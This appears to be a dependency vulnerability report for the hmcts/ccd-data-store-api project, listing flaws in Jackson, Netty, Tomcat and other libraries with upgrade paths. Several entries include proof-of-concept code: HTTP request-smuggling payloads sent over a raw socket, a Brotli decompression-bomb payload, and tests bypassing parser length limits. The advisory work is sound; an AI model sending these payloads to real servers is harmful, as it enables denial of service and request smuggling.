Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

    private static final int MAX_NUMBER_LENGTH = 1000;
    private static final int TEST_NUMBER_LENGTH = 5000;

    private final JsonFactory factory = new JsonFactory();

    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength
    @Test
    void syncParserRejectsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);
        
        // Output to console
        System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")");
        try {
            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {
                while (p.nextToken() != null) {
                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                        System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED");
                    }
                }
            }
            fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number");
        } catch (StreamConstraintsException e) {
            System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage());
        }
    }

    // VULNERABILITY: Async parser accepts the SAME number that sync rejects
    @Test
    void asyncParserAcceptsLongNumber() throws Exception {
        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);

        NonBlockingByteArrayJsonParser p =
            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());
        p.feedInput(payload, 0, payload.length);
        p.endOfInput();

        boolean foundNumber = false;
        try {
            while (p.nextToken() != null) {
                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {
                    foundNumber = true;
                    String numberText = p.getText();
                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),
                        "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits");
                }
            }
            // Output to console
            System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED");
            assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token");
        } catch (StreamConstraintsException e) {
            fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage());
        }
        p.close();
    }

    private byte[] buildPayloadWithLongInteger(int numDigits) {
        StringBuilder sb = new StringBuilder(numDigits + 10);
        sb.append("{\"v\":");
        for (int i = 0; i < numDigits; i++) {
            sb.append((char) ('1' + (i % 9)));
        }
        sb.append('}');
        return sb.toString().getBytes(StandardCharsets.UTF_8);
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.6, 2.21.1 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: com.fasterxml.jackson.core:jackson-core
  • Introduced through: com.fasterxml.jackson.core:jackson-core@2.15.4, com.fasterxml.jackson.core:jackson-databind@2.15.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-core@2.18.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.fasterxml.jackson.core:jackson-databind@2.18.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.auth0:java-jwt@4.5.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.8.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api com.auth0:java-jwt@4.5.0 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to com.auth0:java-jwt@4.5.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.github.openfeign:feign-jackson@13.6 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to io.github.openfeign:feign-jackson@13.12.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.jsonwebtoken:jjwt-jackson@0.13.0 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 co.elastic.clients:elasticsearch-rest5-client@9.2.4 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.17 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.17 org.springdoc:springdoc-openapi-starter-common@2.8.17 io.swagger.core.v3:swagger-core-jakarta@2.2.47 com.fasterxml.jackson.dataformat:jackson-dataformat-yaml@2.21.1 com.fasterxml.jackson.core:jackson-databind@2.15.4 com.fasterxml.jackson.core:jackson-core@2.15.4

Overview

com.fasterxml.jackson.core:jackson-core is a Core Jackson abstractions, basic JSON streaming API implementation

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the enforcement of document length constraints in blocking, async, and DataInput parser processes. An attacker can cause excessive resource consumption by submitting oversized JSON documents that bypass configured size limits.

Remediation

Upgrade com.fasterxml.jackson.core:jackson-core to version 2.18.7, 2.21.2 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec@4.1.16.Final

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SslClientHelloHandler.decode() function. An attacker can cause excessive memory allocation by sending a specially crafted TLS handshake with a large handshake length value, leading to resource exhaustion and potential denial of service.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity
new

Improper Verification of Cryptographic Signature

  • Vulnerable module: io.netty:netty-handler
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-handler@4.1.16.Final

Overview

io.netty:netty-handler is a library that provides an asynchronous event-driven network application framework and tools for rapid development of maintainable high performance and high scalability protocol servers and clients. In other words, Netty is a NIO client server framework which enables quick and easy development of network applications such as protocol servers and clients. It greatly simplifies and streamlines network programming such as TCP and UDP socket server.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature in engineGetTrustManagers() and related methods. An attacker can intercept network traffic by providing a malicious X509TrustManager, which bypasses hostname verification during TLS connections.

Remediation

Upgrade io.netty:netty-handler to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.opentelemetry:opentelemetry-api
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 io.opentelemetry:opentelemetry-api@1.37.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.3.6.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the W3CBaggagePropagator() function. An attacker can cause excessive memory allocation and CPU consumption by sending oversized baggage data, which is automatically re-injected into every outgoing request and can impact downstream services.

Remediation

Upgrade io.opentelemetry:opentelemetry-api to version 1.62.0 or higher.

References

high severity
new

Detection of Error Condition Without Action

  • Vulnerable module: org.apache.tomcat.embed:tomcat-embed-core
  • Introduced through: org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.22 org.apache.tomcat.embed:tomcat-embed-core@11.0.22
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-tomcat@4.1.0 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0 org.springframework.boot:spring-boot-tomcat@4.1.0 org.apache.tomcat.embed:tomcat-embed-core@11.0.22

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Detection of Error Condition Without Action due to improper handling of invalid certificate revocation list (CRL) configurations in the FFM connector. An attacker can bypass intended certificate validation by supplying an invalid CRL configuration.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.119, 10.1.56, 11.0.23 or higher.

References

high severity

Use of a Broken or Risky Cryptographic Algorithm

  • Vulnerable module: org.bouncycastle:bcprov-jdk18on
  • Introduced through: org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 and org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-loadbalancer@4.3.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.cloud:spring-cloud-starter-openfeign@5.0.2 org.springframework.cloud:spring-cloud-starter@5.0.2 org.bouncycastle:bcprov-jdk18on@1.81.1

Overview

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm due to the generateCTR process in G3413CTRBlockCipher. An attacker can recover relationships between encrypted plaintext blocks by driving the cipher past its counter range and causing the counter to wrap, which makes the stream repeat and produces identical ciphertext for different blocks. This breaks the confidentiality of data protected with G3413CTRBlockCipher and can expose plaintext patterns or allow plaintext recovery when the same key and IV are reused across enough blocks.

Remediation

Upgrade org.bouncycastle:bcprov-jdk18on to version 1.84 or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: org.eclipse.parsson:parsson
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 org.eclipse.parsson:parsson@1.1.7

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced limits in the parser when processing JSON input. An attacker can cause excessive CPU and memory consumption by submitting very large or deeply nested JSON documents, potentially leading to resource exhaustion and service unavailability.

Remediation

Upgrade org.eclipse.parsson:parsson to version 1.1.8 or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: tools.jackson.core:jackson-core
  • Introduced through: co.elastic.clients:elasticsearch-java@9.2.4 and org.springframework.boot:spring-boot-starter-web@4.1.0

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api co.elastic.clients:elasticsearch-java@9.2.4 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to co.elastic.clients:elasticsearch-java@9.2.7.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api org.springframework.boot:spring-boot-starter-web@4.1.0 org.springframework.boot:spring-boot-starter-jackson@4.1.0 org.springframework.boot:spring-boot-jackson@4.1.0 tools.jackson.core:jackson-databind@3.0.0 tools.jackson.core:jackson-core@3.0.0
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.1.0.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in which the non-blocking async JSON parser can be made to bypass the maxNumberLength constraint (default: 1000 characters) defined in StreamReadConstraints. An attacker can cause excessive memory allocation and CPU exhaustion by submitting JSON documents containing extremely long numeric values through the asynchronous parser interface.

PoC

The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.

package tools.jackson.core.unittest.dos;

import java.nio.charset.StandardCharsets;

import org.junit.jupiter.api.Test;

import tools.jackson.core.*;
import tools.jackson.core.exc.StreamConstraintsException;
import tools.jackson.core.json.JsonFactory;
import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;

import static org.junit.jupiter.api.Assertions.*;

/**
 * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers
 *
 * Authors: sprabhav7, rohan-repos
 * 
 * maxNumberLength default = 1000 characters (digits).
 * A number with more than 1000 digits should be rejected by any parser.
 *
 * BUG: The async parser never calls resetInt()/resetFloat() which is where
 * validateIntegerLength()/validateFPLength() lives. Instead it calls
 * _valueComplete() which skips all number length validation.
 *
 * CWE-770: Allocation of Resources Without Limits or Throttling
 */
class AsyncParserNumberLengthBypassTest {

